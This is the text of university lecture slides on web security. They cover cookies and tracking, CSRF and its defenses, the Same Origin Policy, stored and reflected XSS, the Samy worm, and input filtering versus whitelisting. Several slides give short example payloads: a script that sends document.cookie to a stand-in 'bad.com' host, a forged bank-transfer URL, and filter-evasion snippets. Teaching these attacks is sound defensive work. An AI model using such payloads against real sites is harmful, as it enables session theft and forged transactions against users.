
Web security II
With material from Dave Levin, Mike Hicks, Lujo Bauer, 

Collin Jackson and Michelle Mazurek



Statefulness with Cookies

• Server maintains trusted state 

• Indexes it with a cookie

• Sends cookie to the client, which stores it

• Client returns it with subsequent queries to same server
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Cookies



Cookies are key-value pairs

<html> …… </html>
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Set-Cookie:key=value; options; ….



Cookies
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• Store “us” under the key “edition”

• This value was no good as of Feb 18, 2015

• This value should only be readable by any 
domain ending in .zdnet.com

• This should be available to any resource 
within a subdirectory of /

• Send the cookie with any future requests to 
<domain>/<path>

Semantics



Requests with cookies

Subsequent visit



Why use cookies?

• Session identifier
• After a user has authenticated, subsequent actions provide a cookie

• So the user does not have to authenticate each time

• Personalization
• Let an anonymous user customize your site

• Store language choice, etc., in the cookie



Why use cookies?
• Tracking users

• Advertisers want to know your behavior

• Ideally build a profile across different websites

• Visit the Apple Store, then see iPad ads on Amazon?!

• How can site B know what you did on site A?

• Site A loads an ad from Site C
• Site C maintains cookie DB
• Site B also loads ad from Site C

- “Third-party cookie”
- Commonly used by large

ad networks (doubleclick)

http://live.wsj.com/video/how-advertisers-use-internet-cookies-to-track-you



URLs with side effects

• GET requests often have side effects on server state

• Even though they are not supposed to

• What happens if 

• the user is logged in with an active session cookie 

• a request is issued for the above link?

• How could you get a user to visit a link?

http://bank.com/transfer.cgi?amt=9999&to=attacker



Exploiting URLs with side effects
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Cross-Site Request Forgery

• Target: User who has an account on a vulnerable server

• Attack goal: Send requests to server via the user’s browser

• Look to the server like the user intended them

• Attacker needs: Ability to get the user to “click a link” 
crafted by the attacker that goes to the vulnerable site

• Key tricks:

• Requests to the web server have predictable structure

• Use e.g., <img src=…> to force victim to send it



Variation: Login CSRF

• Forge login request to honest site

• Using attacker’s username and password

• Victim visits the site under attacker’s account

• What harm can this cause?



Defense: Secret token

• All (sensitive) requests include a secret token

• Attacker can’t guess it for malicious URL

• Token is derived by e.g. hashing site secret, 
timestamp, session-id, additional randomness.



Defense: Referer validation

• Recall: Browser sets REFERER to source of clicked link

• Policy: Trust requests from pages user could legitimately reach

• Referer: www.bank.com                       

• Referer: www.attacker.com

• Referer: 

✔
✘
?



Dynamic web pages



• Rather than just HTML, web pages can include a 
program written in Javascript:

<html><body>
Hello, <b>
<script>

var a = 1;
var b = 2;
document.write(“world: “, a+b, “</b>”);

</script>
</body></html>



Javascript

• Powerful web page programming language

• Scripts embedded in pages returned by the web server

• Scripts are executed by the browser.  They can:

• Alter page contents (DOM objects)

• Track events (mouse clicks, motion, keystrokes)

• Issue web requests & read replies

• Maintain persistent connections (AJAX)

• Read and set cookies

no relation
to Java



What could go wrong?

• Browsers need to confine Javascript’s power

• A script on attacker.com should not be able to:

• Alter the layout of a bank.com page

• Read user keystrokes from a bank.com page

• Read cookies belonging to bank.com



Same Origin Policy
• Browsers provide isolation for javascript via SOP

• Browser associates web page elements…

• Layout, cookies, events

• …with their origin

• Hostname (bank.com) that provided them

SOP = only scripts received from a web page’s origin
have access to the page’s elements



Cross-site 
scripting (XSS)



Two types of XSS

1. Stored (or “persistent”) XSS attack

• Attacker leaves script on the bank.com server

• Server later unwittingly sends it to your browser

• Browser executes it within same origin as bank.com



Stored XSS attack
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GET http://bank.com/transfer?amt=9999&to=attacker

GET http://bad.com/steal?c=document.cookie



Stored XSS Summary
• Target: User with Javascript-enabled browser who visits 

user-influenced content on a vulnerable web service

• Attack goal: Run script in user’s browser with same access 
as provided to server’s regular scripts (i.e., subvert SOP)

• Attacker needs: Ability to leave content on the web server 
(forums, comments, custom profiles) 

• Optional: a server for receiving stolen user information

• Key trick: Server fails to ensure uploaded content does not 
contain embedded scripts

Where have we heard this before?



Your friend and mine, Samy

• Samy embedded Javascript in his MySpace page (2005)

• MySpace servers attempted to filter it, but failed

• Users who visited his page ran the program, which 

• Made them friends with Samy

• Displayed “but most of all, Samy is my hero” on profile 

• Installed script in their profile to propagate

• From 73 to 1,000,000 friends in 20 hours

• Took down MySpace for a weekend

Felony computer hacking; banned from computers for 3 years



Two types of XSS
1. Stored (or “persistent”) XSS attack

• Attacker leaves their script on the bank.com server

• The server later unwittingly sends it to your browser

• Your browser, none the wiser, executes it within the same origin as the bank.com
server

2. Reflected XSS attack

• Attacker gets you to send bank.com a URL that includes 
Javascript

• bank.com echoes the script back to you in its response

• Your browser executes the script in the response within 
the same origin as bank.com



Reflected XSS attack
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Echoed input

• The key to the reflected XSS attack is to find 
instances where a good web server will echo the 
user input back in the HTML response

http://victim.com/search.php?term=socks

<html> <title> Search results </title>
<body>
Results for socks:
. . .
</body></html>

Input from bad.com:

Result from victim.com:



Exploiting echoed input

http://victim.com/search.php?term=
<script> window.open(
“http://bad.com/steal?c=“
+ document.cookie)

</script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script>
. . .
</body></html>

Browser would execute this within victim.com’s origin

Input from bad.com:

Result from victim.com:



Reflected XSS Summary

• Target: User with Javascript-enabled browser; vulnerable 
web service that includes parts of URLs it receives in the 
output it generates

• Attack goal: Run script in user’s browser with same access 
as provided to server’s regular scripts (subvert SOP)

• Attacker needs: Get user to click on specially-crafted URL. 

• Optional: A server for receiving stolen user information

• Key trick: Server does not ensure its output does not 
contain foreign, embedded scripts



XSS Defense: Filter/Escape

• Typical defense is sanitizing: remove executable 
portions of user-provided content 
• <script> ... </script> or <javascript> ... </javascript>

• Libraries exist for this purpose



Did you find everything?

• Bad guys are inventive: lots of ways to introduce 
Javascript; e.g., CSS tags and XML-encoded data:
• <div style="background-image: 

url(javascript:alert(’JavaScript’))">...</div>

• <XML ID=I><X><C><![CDATA[<IMG 
SRC="javas]]><![CDATA[cript:alert(’XSS’);">]]>

• Worse: browsers “help” by parsing broken HTML

• Samy figured out that IE permits javascript tag to be 
split across two lines; evaded MySpace filter



Better defense: White list

• Instead of trying to sanitize, validate all 

• headers, 

• cookies, 

• query strings, 

• form fields, and 

• hidden fields (i.e., all parameters) 

• … against a rigorous spec of what should be allowed.



XSS vs. CSRF
• Do not confuse the two:

• XSS exploits the trust a client browser has in data sent 
from the legitimate website

• So the attacker tries to control what the website 
sends to the client browser

• CSRF exploits the trust a legitimate website has in 
data sent from the client browser

• So the attacker tries to control what the client 
browser sends to the website


